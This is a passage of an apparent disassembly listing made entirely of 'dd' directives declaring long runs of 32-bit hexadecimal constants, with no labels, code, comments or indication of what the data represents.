		dd 55C4AB89h, 87914AC2h, 82D8A509h, 0E4CAA58Fh,	444CB216h
		dd 13FA368Dh, 444488CBh, 564A908Dh, 0C8E2BF74h,	1AA09642h
		dd 132B3551h, 84C89F56h, 0C4728992h, 7128C252h,	0C1417094h
		dd 6927C253h, 0A55C9004h, 0A40B461Dh, 0ABD63455h, 0E8A62024h
		dd 72C9B1A4h, 0FAE4D91Fh, 0A0552B9h, 9CDDC114h,	5FA7908Fh
		dd 0A5732305h, 0FAC142BCh, 8C25FC58h, 0E9D94652h, 1E931C56h
		dd 0D7D3C9D7h, 3F617C95h, 247A4CE2h, 588C174Dh,	7ECF59B7h
		dd 8CA62F8h, 3C2C4C96h,	74F17E5Dh, 75D2772Bh, 4266F47Bh
		dd 0B7947EDh, 65F3B15Eh, 0BA537CEAh, 0AC4C9915h, 4ED45099h
		dd 1301F811h, 678B266Bh, 0D08A7861h, 37262837h,	69E234E1h
		dd 0F89F96B4h, 69E2644Eh, 42BBD404h, 0BB252606h, 0D4828B8h
		dd 996A2CAh, 81144FACh,	5F4244CFh, 0ECA36A82h, 9B2E28B2h
		dd 0CA1BB2ECh, 68ABCAB2h, 2C5A4B62h, 4624461Fh,	13325B3Dh
		dd 48C38A48h, 1CA94C4h,	9F5CD08Bh, 8F61ECA2h, 0B28F0BE5h
		dd 0CC422D6Bh, 0A43C9E54h, 914C6137h, 1E269AE9h, 0DC3714B1h
		dd 79D48ECAh, 29265D13h, 5D03447Ah, 72B9BE74h, 649EA9E8h
		dd 0EC5D22EBh, 95B84EDh, 0CF1D1FADh, 0C86717E8h, 53006196h
		dd 33F01646h, 1309984Dh, 8AE8A60h, 7F08A67Eh, 36D8CC6Eh
		dd 5E12A2A9h, 0A132A691h, 0F8222FB5h, 8A6D899h,	0ACA28B7Fh
		dd 0C0A6A92Fh, 427BF92Fh, 68A6D96Ch, 9F7A7DF8h,	9F9E1B5Ah
		dd 5FF3D5B4h, 88FC94FAh, 0E1E94D35h, 0C647DB25h, 0F47516DFh
		dd 0A7E5C2F8h, 1ACE64D3h, 7C45E6DEh, 0A7A284FDh, 0E2B737F5h
		dd 1DB11F15h, 3B3B17EAh, 0B2432EF2h, 0D26C808h,	29D86213h
		dd 62644220h, 817A84CCh, 0B4E32176h, 4621188Ah,	0D704F29Ah
		dd 642148BEh, 26ADCBA2h, 0A2F91C86h, 0A6D931D0h, 7B7E31E4h
		dd 0A6208E82h, 0EB4CA168h, 7113A27Dh, 0C114E026h, 91EEE9D4h
		dd 0D3E6C36Dh, 2B6123A0h, 0C7A40116h, 774556D8h, 27A41275h
		dd 38DCD190h, 69C2C372h, 765795D0h, 5FB1BAD4h, 0FB3D8E74h
		dd 58E87B12h, 84AFB643h
		dd 114B41D7h, 0C4A48948h, 0BC4C257h, 9D920BB4h,	54C49156h
		dd 0E6D14D23h, 265F7730h, 8E176BCh, 0A67E1324h,	2690247Dh
		dd 0CDC73475h, 0F951D476h, 73B411FBh, 99B04531h, 27D3FBEEh
		dd 29884CDAh, 0DB45CBB2h, 0B108FE23h, 4EB8919Fh, 2334B70Fh
		dd 8BE63B8Bh, 1923F37Ah, 0D1EE213Bh, 0DABC8EDAh, 2FDC193Fh
		dd 5FEB16AFh, 6D1E2E62h, 26706C8h, 608A9AEEh, 38891132h
		dd 0C5DA7013h, 1C459304h, 914F4E9Ah, 11DC527Bh,	45DB0C69h
		dd 61132549h, 0A6D6008Eh, 4D0E260Fh, 7AFD2CB9h,	0A2A92ED2h
		dd 0A2AB36BDh, 3A09C5CAh, 0A23C7AD3h, 91409D45h, 21CE9F7Fh
		dd 2E09905Ah, 4E34A23Bh, 68245D74h, 45D0B111h, 7F2F9F92h
		dd 0FFA93A96h, 0E35B922Eh, 5E3DEC2Eh, 1773D1F9h, 82ACD9D4h
		dd 0C8B312ABh, 1336AB81h, 453E36Ch, 0B44C8994h,	0D1AF6099h
		dd 56A0A02Eh, 48FC5111h, 0CC6743D3h, 6C42811Dh,	32801517h
		dd 47FC6631h, 915F8E17h, 83CFE3FCh, 0DF4E3F8Bh,	0A711CE8Ch
		dd 590D6B29h, 5B911F95h, 64AC9D1Ah, 2DD18255h, 0C176746Ch
		dd 553E34FCh, 8F17D8EEh, 0D32EBB28h, 0C72FE62Eh, 2BA28AF1h
		dd 388BDBBBh, 75138B64h, 0E741B49Fh, 8A382A88h,	0CC3032A0h
		dd 0CD5198E2h, 57282F03h, 0D2437693h, 731F56C4h, 0DB207D47h
		dd 4CA82245h, 44D59994h, 845D2395h, 0E45EA771h,	0D3EE2773h
		dd 1D32D152h, 0FBD6DF81h, 0FCB256E4h, 0EF68B866h, 47E5DAA4h
		dd 96589A1Eh, 695554EEh, 956B6E57h, 3F308A25h, 0D67C85A1h
		dd 0A229B300h, 0ABC9C1EBh, 0FDD1CB8Dh, 1B982AE2h, 2BE4E721h
		dd 7360F55Fh, 0B2093B80h, 2C0B7AAFh, 0D6448693h, 9BA4B4FBh
		dd 0CB4755A8h, 7045D247h, 999C7323h, 2396DB30h,	0A7B64CB0h
		dd 27B8447Dh, 1964245Fh, 754DA56Eh, 769FF474h, 8B172645h
		dd 3105D176h, 42ED6A1Eh, 0CB36EC0Ch, 76653F3Dh,	461740B2h
		dd 0A2ED3789h, 78813588h, 43124E9Ch, 0FC144FFDh, 0BF9C0730h
		dd 75982BB6h, 63062611h, 331C504Bh, 6A102200h, 0B826AFC4h
		dd 1F8C4055h, 82BC470Ch, 8800ECh, 244A0B07h, 50220F0Ah
		dd 4253BA81h, 469003C9h, 60260ADCh, 0E95039C7h,	1440E00h
		dd 6516749Ah, 0E278E152h, 2309E800h, 88818501h,	1451942h
		dd 0C450248Ch, 70433303h, 0C865F117h, 418A307Eh, 0AAC84D74h
		dd 0AF83C0EAh, 0F7EF155Ah, 0AFF0F05Fh, 0C9809CD4h, 0D2DAE3E9h
		dd 949D9888h, 0F10B64A9h, 0D42CF46Eh, 0E7089418h, 0CA40CF36h
		dd 0E184C1D0h, 0DB344AD4h, 0AAF84EFBh, 0EA15C17h, 2EE6DAA4h
		dd 0FBAE56A9h, 2BF78A1Ah, 460AE699h, 804AADA4h,	62C089E4h
		dd 7CBBF8EAh, 937A3A47h, 42F189E9h, 60FDBD28h, 26424AFEh
		dd 0F075085h, 3E3DEE8h,	839667h, 525023FFh, 0B9465C03h
		dd 0A76B1D22h, 5CF27A79h, 24F72F0h, 0FA78A312h,	25140831h
		dd 0BF6B0ABh, 89D6BF67h, 5DC3C4C0h, 0AA63A097h,	0A7BE5D44h
		dd 9928CB73h, 71207CCEh, 17B2A372h, 12AA8D39h, 61147FC0h
		dd 8EAED384h, 75BF55DBh, 0AA2DD6C0h, 707E3801h,	5B1BA855h
		dd 0F07D1BFDh, 0BAC77183h, 0E950D03Ah, 9956F432h, 0CA270D4Fh
		dd 3A6DA370h, 0E9233D0Fh, 0BFE5F846h, 8829B7A0h, 2A2B1AF4h
		dd 0E8982578h, 8EC21075h, 0DA6FD6D0h, 1D094E9h,	680B089Ah
		dd 9D3A4176h, 0E15AC8EEh, 61F0815Bh, 0FB8FA42Fh, 0E0FF0552h
		dd 482EA00Ch, 0ED2636FCh, 0C5CE954Ah, 2EE6034Bh, 0C05129C7h
		dd 6FBC2400h, 67D2CC4Eh, 2E706EFAh, 3F50F5A9h, 9B739496h
		dd 995FEB9Ch, 0C9000D06h, 86802A07h, 0D3088C68h, 695CC707h
		dd 79BBBECAh, 0EEB47830h, 0A0DBB304h, 0A645A8A6h, 1C3F25CDh
		dd 2A4B3768h, 0F2E849D6h, 5A9EA467h, 0ADC55C86h, 0AE040117h
		dd 0B53CCBD3h, 5A4D857Eh, 85DA4E4Dh, 0E2DD3668h, 19F4198Bh
		dd 0F9DF70E3h, 88A4FB62h, 59B37E8Ah, 4E9A1CC7h,	58A3A521h
		dd 404DA41h, 0CD3D4020h, 2988812Eh, 0B07C403Ah,	3FD48243h
		dd 494866A1h, 0C3590B97h, 0F12E5AB3h, 0BC7AA45Fh, 30A5FC2Bh
		dd 725AD81Eh, 0DFE7173Bh, 3C8A68ACh, 272C4BBBh,	7029FE16h
		dd 4353174Bh, 52413420h, 299100Dh, 8FCA9F50h, 86A66607h
		dd 18BE2245h, 9EE08925h, 0A9DA32EAh, 97D8BE2Eh,	0A75790C2h
		dd 0E3514406h, 21F8D995h, 8D0D5497h, 0B7885758h, 6470C431h
		dd 0EFE2C494h, 0A436189Bh, 25D2F305h, 0B01D70D2h, 4EFF0810h
		dd 5602C0F5h, 817117E8h, 9C6DFA06h, 0EF919F03h,	0FD2F3CB4h
		dd 52BA89A6h, 2339D100h, 851DC2BDh, 6BD09F8Ch, 0A89A41D7h
		dd 0B461F70Dh, 0AD04D518h, 87E7292Eh, 8622CD0Ah, 0C837D8h
		dd 98DEBD0Eh, 504895F8h, 867A4331h, 8C513C0Bh, 0C17C893Eh
		dd 3C13E760h, 9BC6F709h, 293F115Ch, 0B800420h, 0E2A103C9h
		dd 53BCDF8Ch, 9D199375h, 21143914h, 2B7815Dh, 0AE082531h
		dd 42E0CF97h, 90600DA4h, 5F3B042Eh, 13BE9FCh, 0FBFF6063h
		dd 57970E2Fh, 468CC3F0h, 121DFE13h, 0DB004EEh, 0CF171F43h
		dd 0F85D2AB8h, 8A34CCCAh, 0B841338h, 403A0C0Bh,	0A749546Dh
		dd 6D2104D9h, 0B409BEDFh, 4FC81477h, 74D9ED32h,	0BAD07E3Ah
		dd 50BD737Fh, 0AE29FC21h, 0D424500Dh, 86D64CDDh, 9C3B45D7h
		dd 5D17999Ah, 2C8EA632h, 0D53DFEFCh, 0D542B83Ch, 147F522h
		dd 277E5DFAh, 33845F26h, 939E683Ch, 0CB57C5D7h,	0ED2E9DFCh
		dd 2BAF7F8Eh, 4E6B6770h, 0A42726AAh, 17E1104Bh,	62068D05h
		dd 0BAF270D0h, 0FE4A8E64h, 0B5B9E28Eh, 78CCE8BFh, 0BBBE8B77h
		dd 306B148Ah, 0DF440226h, 45BA71B7h, 502046D3h,	0EAA0E96Dh
		dd 0BC94082Ch, 0EA23233Bh, 0B525D3Bh, 7FF710D4h, 0BC1C2D43h
		dd 0DE2BCB2Ah, 4A81625Dh, 26EEAE9Ch, 9003A557h,	4A13E17h
		dd 0C5752BEEh, 0AEE22236h, 66828A02h, 822B824Dh, 771D3B68h
		dd 6575A96Dh, 67F57085h, 18C2A0CEh, 2DA81E8Ch, 0AD508911h
		dd 0C4770DF5h, 13063B30h, 43F980BCh, 6F0A80Fh, 2915D60h
		dd 0E1D51C4Ah, 63B22817h, 8181C3B1h, 60959A77h,	1DDEF9F7h
		dd 8AEE0666h, 0FFD5C32Bh, 0CBE77A2h, 4B44CD4h, 6CF8E481h
		dd 0B1147D20h, 350004B5h, 9644DD24h, 0D821BC0Ah, 0F016ACD3h
		dd 0E4ED159Ah, 193139C8h, 849BA998h, 245868DDh,	4175C16Ch
		dd 637E2649h, 189A8AFEh, 7BAF29CBh, 2E0984D1h, 1A45B056h
		dd 0D531542Dh, 0ABE31827h, 2AEA9E3Ch, 0A3368B47h, 0F566BF35h
		dd 0E37B27FBh, 3FE3ACBFh, 4DF329E6h, 9F78A8Ch, 91018257h
		dd 43AA9272h, 0B5444D15h, 0F828A757h, 0B9EC5D56h, 5EE8E018h
		dd 6A4A4717h, 8A425289h, 0B0DF1EEEh, 2A11C84Ch,	1CB4295Fh
		dd 0FA9B9510h, 75ED3774h, 31B89581h, 4D1F9826h,	0CA2D4552h
		dd 0C28252D1h, 0A029B8Eh, 2529BBD3h, 3F204F9h, 0CEFD6619h
		dd 1F5E6A32h, 0A424053h, 0AC88C4B1h, 9F8E7617h,	8B250E6Dh
		dd 6D016B2h, 8391DDE5h,	0ED7DF5C9h, 42194842h, 0B1A76340h
		dd 8093535Eh, 51808CF4h, 0E20F087Dh, 414401C9h,	0E858A945h
		dd 0A125F712h, 0F5E609A5h, 7D7828CBh, 0E4BCD514h, 0EB053901h
		dd 0E69A4177h, 984D9F5Eh, 0B452794Ah, 0F5D2CB0Ch, 0A4BD8B11h
		dd 297476BBh, 0F71E05D4h, 7D618B06h, 9751EB26h,	0C9AF04A9h
		dd 7F8B5714h, 852FF407h, 968E2887h, 9E8847F8h, 859D44EEh
		dd 5A3ED95Dh, 225A4DCh,	0C4BF470Ah, 2AA27DF5h, 0CF2C9588h
		dd 6A00BAC8h, 8B2E3F54h, 6268204Ch, 0A4C18D9Eh,	0CDADD04Bh
		dd 0EF82DF8Fh, 8336AA70h, 9F054D8Bh, 2A865C16h,	335FF35h
		dd 80CEE750h, 0A28115DFh
		dd 0C848315Dh, 96A805D4h, 0B411E93Ch, 59DD097Bh, 2A67F700h
		dd 0EB7365BFh, 0A3AF7B02h, 25E5079Ch, 0B08070B4h, 6EE9CBCFh
		dd 0BD42D6F8h, 6148863Bh, 0AE34C52Ch, 1925BFF2h, 0FC3B9B8h
		dd 36FA7F3Ah, 0D40E3BA6h, 0FF2164A5h, 9A77E8Bh,	5226544h
		dd 12BCE93h, 0F49A80F3h, 8F5FF36Ah, 19E09500h, 0B824F16h
		dd 0E3F431FCh, 0EE0AE9D5h, 48E10824h, 0C29122D7h, 44ACCA41h
		dd 40D20C4Ch, 44AB209Dh, 0F1589CA5h, 1D6BBAC0h,	37306EC0h
		dd 0A6793530h, 0FE4BBFE4h, 8BEB3F0Bh, 0C6958D27h, 22005B10h
		dd 697C500Bh, 0ADD2318h, 38D376EBh, 4C29011Eh, 0B8F44A1Bh
		dd 640D0869h, 0BE732C22h, 86FE0CDEh, 0ADAF0C11h, 52376198h
		dd 51DDA9C1h, 5BBE1CF4h, 0EB35334Ch, 0DFB91F8Eh, 240E2696h
		dd 6CEEE180h, 9D4456D3h, 5AC4B353h, 455178EAh, 2F5AD0F2h
		dd 0EB33ED82h, 0C73BA98Eh, 0AA44BA30h, 44D2A8F6h, 39B8514Bh
		dd 73E06B3h, 0B449C077h, 0C6951715h, 7EDED5F4h,	47F40587h
		dd 0D4525983h, 0B2A8E6E7h, 28C0010Ah, 8249758Ch, 1B206BC7h
		dd 0ACEA3A05h, 0EBEADF3Ah, 6CC9EBFh, 0AD8B4A38h, 40EB86A7h
		dd 0A50BCE22h, 8359FE62h, 38D4A7C0h, 0A081B542h, 1F595F73h
		dd 77D8ED01h, 0A6D75C45h, 0B2E0ADFAh, 0F1DE88D1h, 4F00335h
		dd 0A2E0C550h, 0B095934Fh, 0A36922CDh, 8A96FE1Dh, 0EFB1046Eh
		dd 0B2208A60h, 8313C5E6h, 2BE950C4h, 9285A0h, 3F190746h
		dd 491D8894h, 0C68E1256h, 0EB495CB5h, 1405262Ah, 84CBB4C1h
		dd 0E04C1B89h, 813B8194h, 153707EAh, 0F315BAD2h, 83F652BEh
		dd 51548DDAh, 4980EEA1h, 8DDDE52h, 0E7B4BEC2h, 7AF821A5h
		dd 0FC13A051h, 4190C1AAh, 2D1604D5h, 0AA91655Fh, 348FA583h
		dd 0D215AC0Eh, 226FDA60h, 9DB7DAB5h, 65219D5Eh,	0F9436A33h
		dd 0A450F593h, 8A02C462h, 2414E40Ah, 710A5C6Ch,	0AF8A139Fh
		dd 6C533292h, 135BC07h,	0B5995DE1h, 366FC4Ch, 8C5064EEh
		dd 0AD68B728h, 345790C4h, 68C0A7F5h, 52C5D20Dh,	16A84B7Fh
		dd 0B6E5161h, 0B212623h, 0CDD66DF8h, 96D495E9h,	7B473806h
		dd 5433AF93h, 0AAFD715Bh, 0A3C034DBh, 422872B5h, 0C8BFC27Ah
		dd 710ED3B0h, 6CC753Dh,	1D8230BEh, 600904D4h, 8B01454Eh
		dd 4BFC2D88h, 7A643565h, 3CD713Eh, 0B39A2Ch, 0B7ACE88Bh
		dd 888AFE21h, 0EE01613Ch, 42AD1F33h, 701F4BBBh,	148210DFh
		dd 99F2798Dh, 0C62A4557h, 0A461ACA4h, 0E147BCECh, 90EE6466h
		dd 28BE08ACh, 9A6B74A0h, 0D216990Ah, 2C8A50D3h,	6B5A8FBBh
		dd 838BF2C8h, 0C0D88E2Ch, 5D2308F2h, 7AA36118h,	55208B04h
		dd 40FAA20Fh, 355FE9A5h, 7DC84F88h, 20B073C9h, 4B2694h
		dd 968F0153h, 0E93F3182h, 43BBE0F8h, 3557F159h,	5E5EC896h
		dd 0C4494854h, 3C2A9EBh, 34530887h, 16AEF1A9h, 2AA8FCDAh
		dd 0DA7BA963h, 1ABCCF55h, 0D12AA302h, 69279B56h, 0BC8EC220h
		dd 6412BD40h, 0E4C02C00h, 4A5A7771h, 21688108h,	5CA040h
		dd 0AFB81F1Ah, 5B18D8CEh, 100F5C1h, 0BDFC55F3h,	0BEB7A640h
		dd 9933780h, 4A879956h,	0D017B037h, 2AD597BCh, 3724AC09h
		dd 0E88194A0h, 28E00372h, 11CC1C04h, 0D32D38D9h, 31DA42ABh
		dd 6591B57Dh, 2EFA28BBh, 2569068Eh, 5B9F666Dh, 0FDAC4CFAh
		dd 717C47DBh, 2EEB89FCh, 0F26889DFh, 10550399h,	0E08E2143h
		dd 0F932F08Ch, 0C0A6A53Fh, 495A11C8h, 2E4D5E0h,	0CABF280Ah
		dd 394DF112h, 0D630A213h, 0DA604806h, 1C80FBE3h, 781B378Ah
		dd 0EC5D2AAh, 0A89D14A7h, 0F51EA01Ch, 0B0FFD745h, 0D5E9EA27h
		dd 5A2F02B2h, 26D57495h, 0D9C2828Ah, 0BDB45479h, 6DA0942Fh
		dd 0FAD4D46Fh, 3DE846h,	41543433h, 2AAD50B5h, 0A9CE3F0Bh
		dd 5D60033Bh, 8039CDB8h, 0B352F68Dh, 6A6C4C14h,	5651D1CCh
		dd 0AE429822h, 15D0E8A7h, 8623B308h, 0F9B3531Fh, 7E57258Ch
		dd 0ECAAFE86h, 87D720E8h, 58144CD1h, 0F45595B6h, 0DAC53185h
		dd 1D73BFDAh, 0FB1D5C2Ch, 0C5D534A6h, 554574D4h, 14A8162Dh
		dd 0BBBCDDE4h, 0BB00620Ch, 0EAB881CEh, 3CEAA636h, 0A6D45F52h
		dd 56A0FB3Dh, 0EDA21E95h, 3C2B5B8Ch, 49212FFDh,	0C0CBFC5Dh
		dd 0B83EEE0Fh, 0D1F4ADDEh, 0CCC7F2AFh, 0FA6BC15Dh, 0EA21238Fh
		dd 3DBC540Fh, 0E147781Ah, 0C9C45554h, 189DF792h, 8FF53D13h
		dd 0FF1AA4DDh, 5D544E67h, 45224C65h, 589EDEBh, 1512D812h
		dd 822A0536h, 0D204A16Ah, 3541A92Ah, 2D321655h,	8FA09418h
		dd 444E5C18h, 412A29D1h, 0C4C20AF9h, 38D4AC4Ch,	12A1F45Bh
		dd 0F4B75C59h, 0DD7158EAh, 5E69081Bh, 0ABCAA057h, 0ABEF50F3h
		dd 0B71BBD53h, 0C637E916h, 94F9479Dh, 5140CC1Dh, 7D161625h
		dd 0CC251B01h, 6B788521h, 0BA4D626h, 4DC214F2h,	0DF5CBFFFh
		dd 0BE630E09h, 57579A1Fh, 17F6D2A1h, 705E53C9h,	528B6C71h
		dd 32A2C00Ch, 3CAC807Ch, 3EB99390h, 0A83CDDB5h,	243C7340h
		dd 0F322F68Ch, 4E6EE369h, 0F1FEB91Ch, 9D7CA477h, 0C3A4A871h
		dd 603A899Ah, 0F6AB4CBh, 281BCCDDh, 0A1063968h,	34D054F1h
		dd 6C22F5FFh, 845B7D44h, 280A036h, 0CEAA85C9h, 0AB172828h
		dd 2AAC510Ah, 3CD90C3Fh, 0AA4A65A4h, 66643CAh, 0CA30251Fh
		dd 0F1BB1172h, 0A6767B62h, 8A85C7F7h, 8226E022h, 395B894Ch
		dd 79A19480h, 312A5255h, 55818C3Dh, 9E99C709h, 0AA9EA271h
		dd 602A622Ah, 0E1A44E55h, 0FABE79h, 0A8DE99Fh, 0C094EE62h
		dd 538E0535h, 266B0A2Dh, 0E2CAE554h, 0AF488831h, 9374BF17h
		dd 0A54102D4h, 24A80B4Dh, 81505058h, 36BA0EE4h,	8F92ECCCh
		dd 0F4451C7Fh, 7D4D59C1h, 959C09DCh, 0C5F24F18h, 37545074h
		dd 1195DBB8h, 470D6A28h, 3428DEC9h, 17FBEEF8h, 0F695EC6Dh
		dd 0B171500h, 720DBF72h, 8C545174h, 0A82F1968h,	0AA6A0056h
		dd 3541B484h, 0EEA5BF47h, 61DDDF6Fh, 86607C43h,	24034D41h
		dd 62283484h, 57001044h, 484BCAEFh, 95D631F8h, 0A405AD85h
		dd 0A79BCA4Bh, 0E026525Dh, 0C261E5B3h, 0AC03C5F1h, 94CAC63Ah
		dd 0F06794C4h, 7F683910h, 0EBE1B02Bh, 75DB6E10h, 1044CD56h
		dd 7DD73736h, 15BD4AE5h, 63656CB7h, 1E67315Fh, 57C7977Ch
		dd 6F42DFB9h, 24D03E4Ah, 2081A357h, 0F7988552h,	843A8C4Dh
		dd 1454019Ch, 0DBBF0DEEh, 4C006768h, 46BA8BC3h,	3FD8BD8h
		dd 53A02479h, 0C766C039h, 15F67D51h, 0E00A765Dh, 443C1B2Ah
		dd 64702C1Ch, 0F5000991h, 9CC573CDh, 48DCA7D7h,	0D6F2C758h
		dd 3D8A2EC1h, 1C9C88EFh, 9E17A514h, 9A84043Ch, 9C0BF712h
		dd 4613BBB1h, 0E2B5D15Fh, 4398FDF4h, 308B1CFh, 0D68B96F1h
		dd 4091C6F7h, 0CD5A2370h, 47FAC876h, 5F03321Bh,	3ADA6156h
		dd 2EAFFEF6h, 2A6625D7h, 0C2725C9Bh, 9CC5F95Fh,	0BA1FAC16h
		dd 2EBCFFA0h, 0C11E8488h, 44021255h, 8C6477C7h,	0C20C9256h
		dd 0D4904175h, 81C96153h, 55392092h, 0DC4F0F09h, 577EC656h
		dd 0C69A23C4h, 5492C571h, 6544711Eh, 75846A25h,	0B719631Bh
		dd 657D2F4Ah, 8105ED5h,	8E4427CAh, 0C2DCB87Ch, 36E136A9h
		dd 8A8797Eh, 0B4537239h, 69D8C371h, 0D8154390h,	403D2046h
		dd 547439h, 1034DF66h, 0F0595E6Ah, 312C3776h, 0CD5E7402h
		dd 0A465EA08h, 0E4E4068Dh, 9C22A462h, 0D3C34102h, 9ACB79E6h
		dd 2F870EA9h, 0E8A8E0CBh, 60BBCDB1h, 6ED635Dh, 3DA5875Fh
		dd 0E0A0A2BBh, 88BB9974h, 5ACC4BDCh, 0E0B532B5h, 70760631h
		dd 38ACA169h, 0F21F47D3h, 938DF180h, 0BA720109h, 0DB427C8Fh
		dd 0A28B8AAEh, 0BC65FDA6h
		dd 45DA05F9h, 0D5F8975Dh, 2294E81Bh, 989DBEAAh,	7829350Eh
		dd 1FAA22D1h, 0A4A9425Fh, 4620230Ch, 52211AD0h,	12FBA003h
		dd 8E86C807h, 0F6C9DFADh, 54BA03CAh, 0FEB53569h, 0E5934895h
		dd 0B36EC8CAh, 0BB762AB3h, 0D6F2E78Bh, 0F76BF7AEh, 8AEFBE2Ah
		dd 6A03CB4h, 6ECB7C66h,	0EEBBBE1h, 2E729C2Bh, 0C50CB352h
		dd 5CE0CAAEh, 5699AAB8h, 0F209241Fh, 5675514Dh,	0A0886C44h
		dd 3150186h, 5DD5F475h,	0B50A7CE7h, 0B938C649h,	0B1EA9299h
		dd 251407E7h, 0BB10C40Dh, 0CECD068Bh, 0B1240ABh, 0DF301557h
		dd 242546C4h, 0EA9AFE09h, 49442DF2h, 5C5F02CCh,	0A6308325h
		dd 0E4528E56h, 67F0A568h, 5BAE1C03h, 84034515h,	148352F0h
		dd 58A48CCAh, 0A584A521h, 0F5AABA3Ch, 33A4C312h, 86177C10h
		dd 956AAD11h, 82905A26h, 0B9361695h, 15FC8F1Fh,	842C8655h
		dd 734E076Bh, 0CA58B1Ah, 0AFC63522h, 0A30EC629h, 3887EE8Eh
		dd 0E1E7601Ah, 0A662AED3h, 99906D91h, 0D25B015h, 0A7F58A24h
		dd 925037CCh, 812C550Eh, 0A5195AFh, 8ECC6E0h, 8D855E22h
		dd 0EC01202Ah, 1A74123Ch, 0EBF38EEFh, 6BE6CB81h, 472CB2BCh
		dd 18B2E6BEh, 6ADB88ADh, 9BE7228Eh, 2082C53Ch, 27E9A570h
		dd 6FD2409Ch, 0AE469F6Dh, 2B0250ADh, 0FA6A1A56h, 0E22887E1h
		dd 92C523A7h, 0FB7EAC06h, 0B3B5DD11h, 19434640h, 124C05h
		dd 0A2FE71C2h, 0B8483FC8h, 0D7999EFCh, 0D90297C7h, 56DC1408h
		dd 0D5055890h, 0E8103E14h, 0FA99683Ah, 70CA5CF8h, 124AB14Bh
		dd 4594B262h, 0A7591115h, 0A2EF9Fh, 2667D7E2h, 7E212700h
		dd 696104DDh, 22B67943h, 35FF2252h, 0D569AA46h,	77134D1h
		dd 6ACE072Bh, 0DDC02AF8h, 4706FB42h, 0F49425B4h, 5055168Ch
		dd 8A04FE74h, 5128CE33h, 0F1D2207Ah, 0CFD35810h, 521D81BAh
		dd 2239F955h, 0EF416780h, 0EA25C900h, 1572066h,	1B7BB888h
		dd 0DA0C5918h, 78190918h, 25013863h, 67E44CF1h,	0D049584Dh
		dd 0A1C79BE0h, 0B65E304Ah, 8B5575EBh, 4541B5C0h, 0F1150D6Bh
		dd 2413B218h, 7019C9C6h, 3455B107h, 61051D6Eh, 2DA70FB2h
		dd 0B8582244h, 273A150Ah, 8AA2CB0Dh, 1774FDC6h,	0A6355B54h
		dd 0D8D56668h, 671CD526h, 8C280541h, 0D174A5B1h, 0B3A7E2EBh
		dd 6DA2E555h, 0B671DE4Fh, 18F8EA73h, 0D21BDD1Dh, 17B589B6h
		dd 37304AEBh, 412B4101h, 0B4EFC346h, 72B14511h,	97DA5C7Ah
		dd 8081E575h, 184CA055h, 8D77C226h, 0A808A625h,	0F678E716h
		dd 3BEFC936h, 0AAA37BF3h, 8589D026h, 16610072h,	59557546h
		dd 0F8273EEh, 6108BB6Eh, 0F96C0863h, 7F1DA33Ah,	6F28671Ah
		dd 99FD146h, 0EF9A2DB4h, 0D28CC12h, 822113BDh, 7FAA4213h
		dd 82AA8DA3h, 7CE4168Ch, 426E1C63h, 73190943h, 0AA447157h
		dd 0A83E49C0h, 3EB41206h, 0AE6F3609h, 499C7F28h, 9599F3B1h
		dd 856F561Ah, 52B68E9h,	0ECD91CD5h, 0D9DEFB86h,	0A0F54495h
		dd 0A601C1F1h, 81AE0687h, 0A4956B2Ch, 0A588BC9Fh, 0FE43D907h
		dd 966EF2ACh, 49E5604Ah, 8A4084A0h, 50349D16h, 102491C2h
		dd 79755523h, 27077A60h, 0DC9EE9E7h, 0A400D52Bh, 0D83B1E45h
		dd 2F8EC5BFh, 8E72CB26h, 22F1A95Eh, 0A9F48A30h,	0D925A8D2h
		dd 1DFA2A0h, 74355ED5h,	0A3154A27h, 23B54A67h, 0BDB6359Dh
		dd 48A87549h, 4EB1E19Bh, 7193E02h, 51B5D4D6h, 0C4C7450Ch
		dd 0DD6B310h, 68497A8h,	8E2396FBh, 3846E676h, 0B70DBCCBh
		dd 4813A410h, 57614632h, 0D726A0DBh, 750B7EC6h,	8E857247h
		dd 0B7AEE610h, 446E0B07h, 54424429h, 0AF83B1BBh, 419807DEh
		dd 0A209A5A0h, 0FAB17982h, 20C64FBAh, 55056111h, 5A41D1E8h
		dd 24818A71h, 0E885A430h, 52A04577h, 82439C2Fh,	2B93C802h
		dd 46FE842h, 0C414076Ch, 5A3BB06Eh, 0C00CF458h,	13B290DDh
		dd 0E15685A4h, 0B1C2AF82h, 54BDEABBh, 0D7FAE8Bh, 1D8E8410h
		dd 6C505D5Ch, 182930EDh, 0AFBE380h, 0DC1B8524h,	0A6A203B0h
		dd 0A4AE0E08h, 120629h,	605C909Ah, 8C465D7Fh, 0F86DE489h
		dd 4051A8C0h, 395FEBCAh, 0B53EC744h, 2644DA4h, 4F15B888h
		dd 0DAA8F17Fh, 0C7419F65h, 0AD1080Ah, 46443828h, 0F8E848A5h
		dd 0E57A3C0h, 45385222h, 4DA290h, 0ECAB046Ah, 49D5585Eh
		dd 0A42E51F7h, 71748929h, 72C346h, 9A7DED6Bh, 2B02C4C8h
		dd 726F6696h, 0A07087E3h, 1B883840h, 0A4B252Dh,	8A2582A5h
		dd 68BE1FA5h, 0E2BE4D5Fh, 2D940349h, 96C0D12Ah,	35A558C3h
		dd 249C44C5h, 2B14E54Eh, 0AB2B16B4h, 2AFF4F4Fh,	9512FC51h
		dd 705B1627h, 405936FBh, 5171E810h, 26691774h, 0C2A1B512h
		dd 2ACBBD85h, 28AAA605h, 0D84733B7h, 0B9EFD3C7h, 7D7A6298h
		dd 8D398123h, 7B0C9A83h, 4EB80E57h, 6B2F7EA5h, 0E32D5DDDh
		dd 82716445h, 0A32DE12Eh, 57F9175Dh, 9701BE31h,	0D850D49h
		dd 98877124h, 382EC49Fh, 5F4D00A6h, 0AC78F59Fh,	0A8A985B2h
		dd 4AB992E4h, 7BD7152Eh, 0D2C58A6Ah, 0A956B075h, 84FD20A8h
		dd 0E28075D2h, 0DBA920EDh, 0F018A071h, 54A2CDEFh, 0B8535DBAh
		dd 0ED84FE31h, 0D70FE08Ah, 1A4A312h, 0FD61E201h, 0FF01A9A9h
		dd 0E3F16E6Bh, 0CAF4A8BEh, 2998E44Bh, 0F422BB3Dh, 7C8E5F2Fh
		dd 702BB8C6h, 328ABA02h, 490C184Eh, 90BD2BD3h, 84CD52ACh
		dd 3D080BD1h, 3AEBA847h, 1B6F56Dh, 0F3FAE47Ah, 24E7A2CCh
		dd 0AC1BA2ECh, 780D91E7h, 851A779Eh, 0E3B1DD4Ah, 0D5BF1D95h
		dd 650A85E5h, 0E6EB11E7h, 705EFE00h, 0B1B4077Dh, 4588E0DDh
